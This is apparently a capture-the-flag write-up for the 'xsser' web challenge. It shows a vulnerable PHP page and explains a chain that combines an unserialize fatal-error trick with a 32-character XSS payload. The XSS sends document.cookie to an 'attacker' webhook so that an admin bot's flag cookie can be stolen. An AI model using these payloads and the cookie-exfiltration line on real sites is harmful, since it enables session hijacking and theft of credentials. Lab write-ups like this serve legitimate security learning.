The page displays the source code of index.php```name = $nam;        $this->isAdmin=False;    }}
ob_start();if(!(isset($_GET['login']))){    $use=new User('guest');    $log=serialize($use);    header("Location: ?login=$log");    exit();
}
$new_name=$_GET['new'];if (isset($new_name)){
  if(stripos($new_name, 'script'))//no xss :p                  {                     $new_name = htmlentities($new_name);                 }        $new_name = substr($new_name, 0, 32);  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1>';  echo '<h1>Contact admin /req.php </h1>';
} if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){            setcookie("session", $flag, time() + 3600);        }$check=unserialize(substr($_GET['login'],0,56));if ($check->isAdmin){    echo 'welcome back admin ';}ob_end_clean();show_source(__FILE__);```
On first glance, this problem looks like just a XSS vulnerability, but the `ob_start();` and `ob_end_clean();` mean that all of the output between the two are buffered and then discarded.
First, let's note that one of the referenced files is `req.php`, which is a page that we can submit links for the `admin` to look at. The assumption here would be that the admin's IP address is `127.0.0.1`, which would properly set the cookie with the flag.
Now this problem looks impossible. However, if we look at the documentation page of `ob_start()`, [one of the comments](https://www.php.net/manual/en/function.ob-start.php#108016) mentions that if an `E_ERROR` is thrown, the buffer will be output properly.
Thus, the problem becomes getting a fatal error thrown by one of the functions. In this case, the only _interesting_ function is the `unserialize` function.
If we look at the documention for this function, we are again saved by the comments. [One user notes](https://www.php.net/manual/en/function.unserialize.php#112894) that if you try to serialize a class that can't be initiated (like abstract classes or interfaces), PHP will throw a fatal error.
Now we just need to find any interface or abstract class. I chose to use `Traversable` with a payload of `O:11:"Traversable":0:{}`.
Now, we are able to get a working XSS exploit with a url like `http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=alert(1)>`.
We just need a tiny (32 char) XSS payload. For this, we can use a short, 4 character or less domain name (can abuse [punycode](https://en.wikipedia.org/wiki/Punycode)) (e.g. `http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=import('//attk')>`) or store our exploit in [`window.name`](https://developer.mozilla.org/en-US/docs/Web/API/Window/name).
Our XSS content should just be to send a request to a webserver we control, with the contents of `document.cookie`. For example, `window.location.href = 'https://attacker/webhook?' + document.cookie'`.
Now that we have the XSS part working, we need to make sure the cookie is actually set. For this, we can just host a page where we have an iframe to `http://xsser.3k.ctf.to/`. When the iframe loads, we redirect the user to our XSS exploit.
Now, we just need to submit the link to our page to `req.php` and then watch our webserver logs. Note that when submitting, all instances of `http://xsser.3k.ctf.to/` should be replaced with `http://127.0.0.1/` so the client IP address will correctly be set to `127.0.0.1`